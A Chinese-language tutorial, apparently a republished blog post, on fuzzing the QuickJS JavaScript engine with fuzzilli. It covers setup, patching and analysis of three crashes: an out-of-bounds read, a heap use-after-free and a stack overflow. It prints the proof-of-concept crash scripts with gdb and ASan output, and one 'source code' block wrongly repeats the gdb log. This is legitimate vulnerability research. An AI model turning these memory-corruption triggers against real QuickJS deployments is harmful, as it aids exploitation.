使用fuzzilli对Javascript引擎QuickJS进行Fuzzing和漏洞分析是怎样的，很多新手对此不是很清楚，为了帮助大家解决这个难题，下面小编将为大家详细讲解，有这方面需求的人可以来学习下，希望你能有所收获。
概述
Javascript解析引擎不论是在PC端还是移动端都有非常多的应用实例，甚至于最新发布的鸿蒙OS 2.0其中都使用了JS解析引擎作为上层和系统底层之间的中间交互过程。
极光无限维阵团队对JS解析引擎中新兴的项目做了对应的漏洞挖掘工作，对几处安全漏洞进行了解析。
我们使用Google开源的Javascript引擎Fuzzer-fuzzilli对QuickJS进行Fuzzing，确定漏洞触发流程和漏洞代码。
搭建fuzzilli环境
fuzzilli是Google开源的一款JavaScript的模糊测试工具，由SamuelGroß编写，使用swift语言开发。
项目地址：https://github.com/googleprojectzero/fuzzilli/
1.下载安装swift
去官网下载Linux可执行文件，解压缩后可直接运行使用。
官网：https://swift.org/download/#releases
例如：https://swift.org/builds/swift-5.3-release/ubuntu1804/swift-5.3-RELEASE/swift-5.3-RELEASE-ubuntu18.04.tar.gz
2. 下载编译fuzzilli
$ git clone https://github.com/googleprojectzero/fuzzilli.git$ cd fuzzilli$ swift build -c release -Xlinker='-lrt'
Fuzz QuickJS引擎
QuickJS是一个小型并且可嵌入的Javascript引擎，它支持ES2020规范，包括模块、异步生成器和代理器。
1. 编译QuickJS
使用fuzzilli进行模糊测试需要对相应的JS引擎源代码进行一定的修改，fuzzilli已经对一些常见的JS引擎发布了patch脚本，QuickJS的patch脚本在目录/fuzzilli/Targets/QJS/Patches中：
$ cd fuzzilli/Targets/QJS$ git clone https://github.com/horhof/quickjs.git$ cd quickjs$ git checkout c389f9594e83776ffb86410016959a7676728bf9 -b fuzz$ cp ../Patches/Fuzzilli-instrumentation-for-QJS.patch .$ patch -p1 < Fuzzilli-instrumentation-for-QJS.patch$ make
2. 开始Fuzz
$ sudo sysctl -w 'kernel.core_pattern=|/bin/false' # 首次运行$ swift run -c release -Xlinker='-lrt' FuzzilliCli --profile=qjs --storagePath=Targets/QJS/out Targets/QJS/quickjs/qjs
Crash 分析
通过对QuickJS发布版v2020-07-05(最新版是v2020-09-06)进行Fuzz得到三个Crash。
1. Memory_corruption_JS_CallInternal.lto_priv.135
Memory_corruption_JS_CallInternal.lto_priv.135.js var v4 = [1337];var v5 = {length:"65537"};var v8 = Function.apply(v4,v5);var v10 = new Promise(v8);
利用gdb加载调试：
$ gdb -q -args ./qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp[0] = JS_DupValue(ctx, arg_buf[idx]);(gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=<optimized out>, argv=<optimized out>) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=<optimized out>, func_obj=..., this_obj=..., argc=<optimized out>, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=<optimized out>, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0, sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in __JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=<optimized out>, filename=<optimized out>, input_len=<optimized out>, input=<optimized out>, this_obj=..., ctx=<optimized out>)at quickjs.c:33116#9 JS_Eval (ctx=<optimized out>, input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>, ctx=<optimized out>, input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=<optimized out>, buf_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=<optimized out>, filename=<optimized out>, module=<optimized out>, filename=<optimized out>, ctx=<optimized out>, module=<optimized out>) at qjs.c:99#12 0x0000555555566525 in main (argc=<optimized out>, argv=<optimized out>) at qjs.c:503(gdb) x/3i $rip=> 0x5555555e5a7e <JS_CallInternal+19454>: mov (%rax),%rdx0x5555555e5a81 <JS_CallInternal+19457>: mov 0x8(%rax),%rax0x5555555e5a85 <JS_CallInternal+19461>: cmp $0xfffffff4,%eax(gdb) p/x $rax$1 = 0x8000000fd360(gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360
对应的源代码为：
$ gdb -q -args ./qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp[0] = JS_DupValue(ctx, arg_buf[idx]);(gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=<optimized out>, argv=<optimized out>) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=<optimized out>, func_obj=..., this_obj=..., argc=<optimized out>, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=<optimized out>, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0, sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in __JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=<optimized out>, filename=<optimized out>, input_len=<optimized out>, input=<optimized out>, this_obj=..., ctx=<optimized out>)at quickjs.c:33116#9 JS_Eval (ctx=<optimized out>, input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>, ctx=<optimized out>, input=<optimized out>, input_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=<optimized out>, buf_len=<optimized out>, filename=<optimized out>, eval_flags=<optimized out>) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=<optimized out>, filename=<optimized out>, module=<optimized out>, filename=<optimized out>, ctx=<optimized out>, module=<optimized out>) at qjs.c:99#12 0x0000555555566525 in main (argc=<optimized out>, argv=<optimized out>) at qjs.c:503(gdb) x/3i $rip=> 0x5555555e5a7e <JS_CallInternal+19454>: mov (%rax),%rdx0x5555555e5a81 <JS_CallInternal+19457>: mov 0x8(%rax),%rax0x5555555e5a85 <JS_CallInternal+19461>: cmp $0xfffffff4,%eax(gdb) p/x $rax$1 = 0x8000000fd360(gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360
idx大小超过arg_buf的长度，之后会发生越界读取，造成程序崩溃。
2. Heap-use-after-free_gc_decref_child
Heap-use-after-free_gc_decref_child.jsvar v13 = RegExp();var v15 = Symbol.search;var v19 = [1337,1337];function v27(v28,v29,v30) {var v32 = {...v19,...v30};var v44 = new Proxy(Promise,this);var v45 = v32.__proto__;v45.__proto__ = v44;return v44;}function v46(v47) {return v47;}var v54 = {get:v46};var v56 = new Proxy(v27,v54);function v57(v58,v59) {var v61 = new Uint16Array(v56);}var v63 = new Promise(v57);var v64 = v13[v15];var v68 = v19.some(v64,v19);
直接加载运行触发UAF:
$ ./qjs ../Crash/Heap-use-after-free_gc_decref_child.js ===================================================================76200==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000007640 at pc 0x563e23b9c6e4 bp 0x7ffc435b56b0 sp 0x7ffc435b56a0READ of size 4 at 0x607000007640 thread T0#0 0x563e23b9c6e3 in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf76e3)0x607000007640 is located 0 bytes inside of 72-byte region [0x607000007640,0x607000007688)freed by thread T0 here:#0 0x7f3b80489f10 in free (/usr/lib/x86_64-linux-gnu/libasan.so.5+0xedf10)#1 0x563e23c7cf61 in __JS_FreeValueRT (/home/test/JS/QuickJS-20200705/qjs+0x1d7f61)#2 0x563e23c8d8f1 in JS_SetPropertyInternal (/home/test/JS/QuickJS-20200705/qjs+0x1e88f1)#3 0x563e23b9c02a in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf702a)previously allocated by thread T0 here:#0 0x7f3b8048a2d0 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.5+0xee2d0)#1 0x563e23c95f34 in js_def_malloc (/home/test/JS/QuickJS-20200705/qjs+0x1f0f34)#2 0x563e23ca2c27 in js_malloc (/home/test/JS/QuickJS-20200705/qjs+0x1fdc27)#3 0x563e23ca2cea in JS_NewObjectFromShape.lto_priv.146 (/home/test/JS/QuickJS-20200705/qjs+0x1fdcea)#4 0x563e23ca37a3 in JS_NewObjectProtoClass (/home/test/JS/QuickJS-20200705/qjs+0x1fe7a3) Breakpoint 2, JS_NewObjectProtoClass (ctx=0x615000000080, proto_val=..., class_id=48) at quickjs.c:4783#5 0x563e23b84cea in js_proxy_constructor (/home/test/JS/QuickJS-20200705/qjs+0xdfcea)#6 0x563e23c542d0 in js_call_c_function.lto_priv.540 (/home/test/JS/QuickJS-20200705/qjs+0x1af2d0)#7 0x563e23c2d171 in JS_CallConstructorInternal.lto_priv.156 (/home/test/JS/QuickJS-20200705/qjs+0x188171)#8 0x563e23c32115 in JS_CallInternal.lto_priv.93 (/home/test/JS/QuickJS-20200705/qjs+0x18d115)#9 0x563e23c1713c in JS_CallFree.lto_priv.341 (/home/test/JS/QuickJS-20200705/qjs+0x17213c)#10 0x563e23b7b5df in js_proxy_get (/home/test/JS/QuickJS-20200705/qjs+0xd65df)#11 0x563e23c8647a in JS_GetPropertyInternal (/home/test/JS/QuickJS-20200705/qjs+0x1e147a)#12 0x563e23b9bec6 in js_regexp_Symbol_search.lto_priv.363 (/home/test/JS/QuickJS-20200705/qjs+0xf6ec6)
漏洞发生在js_regexp_Symbol_search函数中：
SUMMARY: AddressSanitizer: heap-use-after-free (/home/test/JS/QuickJS-20200705/qjs+0xf76e3) in js_regexp_Symbol_search.lto_priv.363Shadow bytes around the buggy address:0x0c0e7fff8e70: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8e80: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8e90: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 000x0c0e7fff8ea0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 000x0c0e7fff8eb0: 00 00 00 00 00 fa fa fa fa fa fd fd fd fd fd fd=>0x0c0e7fff8ec0: fd fd fd fa fa fa fa fa[fd]fd fd fd fd fd fd fd0x0c0e7fff8ed0: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa0x0c0e7fff8ee0: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8ef0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8f00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd0x0c0e7fff8f10: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fdShadow byte legend (one shadow byte represents 8 application bytes):Addressable: 00Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: faFreed heap region: fdStack left redzone: f1Stack mid redzone: f2Stack right redzone: f3Stack after return: f5Stack use after scope: f8Global redzone: f9Global init order: f6Poisoned by user: f7Container overflow: fcArray cookie: acIntra object redzone: bbASan internal: feLeft alloca redzone: caRight alloca redzone: cb==76200==ABORTING
对象在JS_NewObjectFromShape函数中被分配：
static JSValue JS_NewObjectFromShape(JSContext *ctx, JSShape *sh, JSClassID class_id){JSObject *pjs_trigger_gc(ctx->rt, sizeof(JSObject));p = js_malloc(ctx, sizeof(JSObject)); <-------------------------------------------allocatedif (unlikely(!p))goto fail;
在JS_SetPropertyInternal函数中被释放之后没有清空：
pr = add_property(ctx, p, prop, JS_PROP_C_W_E);if (unlikely(!pr)) {JS_FreeValue(ctx, val); <-------------------------------------------freedreturn -1;}
在js_regexp_Symbol_search函数之后的流程中被读取，造成UAF：
exception:JS_FreeValue(ctx, result); <-------------------------------------------UAFJS_FreeValue(ctx, str);JS_FreeValue(ctx, currentLastIndex);JS_FreeValue(ctx, previousLastIndex);return JS_EXCEPTION;}
3. Stack-overflow_JS_CreateProperty
Stack-overflow_JS_CreateProperty.jsvar v2 = [13.37];v2[1] = v2;var v3 = v2.flat(100000);
可以看到定义了一个v2数组，之后将v2赋值给v2[1]，最后调用flat，flat()方法会按照一个可指定的深度递归遍历数组，并将所有元素与遍历到的子数组中的元素合并为一个新数组返回。
利用gdb加载调试：
$ gdb -q -args ./qjs ../Crash/Stack-overflow_JS_CreateProperty.jsReading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Stack-overflow_JS_CreateProperty.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.0x00005555555fca36 in add_fast_array_element (ctx=ctx@entry=0x555555646c90, p=p@entry=0x55555565eca0, val=..., flags=flags@entry=26375) at quickjs.c:81878187 {(gdb) bt#0 0x00005555555fca36 in add_fast_array_element (ctx=ctx@entry=0x555555646c90, p=p@entry=0x55555565eca0, val=..., flags=flags@entry=26375) at quickjs.c:8187#1 0x00005555555fcf3a in JS_CreateProperty (ctx=ctx@entry=0x555555646c90, p=p@entry=0x55555565eca0, prop=prop@entry=2147508587, val=..., getter=..., setter=..., flags=flags@entry=26375) at quickjs.h:663#2 0x00005555555fe6a7 in JS_DefineProperty (ctx=0x555555646c90, this_obj=..., prop=2147508587, val=..., getter=..., setter=..., flags=26375) at quickjs.c:9190#3 0x00005555555ff186 in JS_DefinePropertyValue (ctx=ctx@entry=0x555555646c90, this_obj=..., prop=prop@entry=2147508587, val=..., flags=16391) at quickjs.c:9228#4 0x00005555555ff301 in JS_DefinePropertyValueValue (ctx=0x555555646c90, this_obj=..., prop=..., val=..., flags=flags@entry=16391) at quickjs.c:9245#5 0x00005555555ff48a in JS_DefinePropertyValueInt64 (ctx=<optimized out>, this_obj=..., idx=<optimized out>, val=..., flags=16391) at quickjs.h:522#6 0x00005555555b6dbd in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24939, depth=75061, mapperFunction=..., thisArg=...) at quickjs.c:38595#7 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24939, depth=75062, mapperFunction=..., thisArg=...) at quickjs.c:38581#8 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24938, depth=75063, mapperFunction=..., thisArg=...) at quickjs.c:38581#9 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24937, depth=75064, mapperFunction=..., thisArg=...) at quickjs.c:38581#10 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24936, depth=75065, mapperFunction=..., thisArg=...) at quickjs.c:38581#11 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24935, depth=75066, mapperFunction=..., thisArg=...) at quickjs.c:38581#12 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24934, depth=75067, mapperFunction=..., thisArg=...) at quickjs.c:38581#13 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24933, depth=75068, mapperFunction=..., thisArg=...) at quickjs.c:38581#14 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24932, depth=75069, mapperFunction=..., thisArg=...) at quickjs.c:38581#15 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24931, depth=75070, mapperFunction=..., thisArg=...) at quickjs.c:38581#16 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24930, depth=75071, mapperFunction=..., thisArg=...) at quickjs.c:38581#17 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24929, depth=75072, mapperFunction=..., thisArg=...) at quickjs.c:38581#18 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24928, depth=75073, mapperFunction=..., thisArg=...) at quickjs.c:38581#19 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24927, depth=75074, mapperFunction=..., thisArg=...) at quickjs.c:38581#20 0x00005555555b6d20 in JS_FlattenIntoArray (ctx=ctx@entry=0x555555646c90, target=..., source=..., sourceLen=2, targetIndex=24926, depth=75075, mapperFunction=..., thisArg=...) at quickjs.c:38581--Type <RET> for more, q to quit, c to continue without paging--qQuit(gdb) x/5i $rip=> 0x5555555fca36 <add_fast_array_element+38>: mov %rax,0x28(%rsp)0x5555555fca3b <add_fast_array_element+43>: xor %eax,%eax0x5555555fca3d <add_fast_array_element+45>: mov 0x20(%rsi),%rax0x5555555fca41 <add_fast_array_element+49>: lea 0x1(%rbx),%r12d0x5555555fca45 <add_fast_array_element+53>: mov 0x8(%rax),%edx(gdb) x/gx $rsp0x7fffff7fefd0: Cannot access memory at address 0x7fffff7fefd0
程序运行后进行了大量的函数调用，最终导致栈空间不足，触发栈溢出。
v2[1]是v2本身，这就导致一个自循环，flat函数深度在v2上可以是无限，所以会不断调用JS_FlattenIntoArray函数获取下一深度的值，最终导致栈空间不足。
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原创文章，作者：kepupublish，如若转载，请注明出处：https://blog.ytso.com/228644.html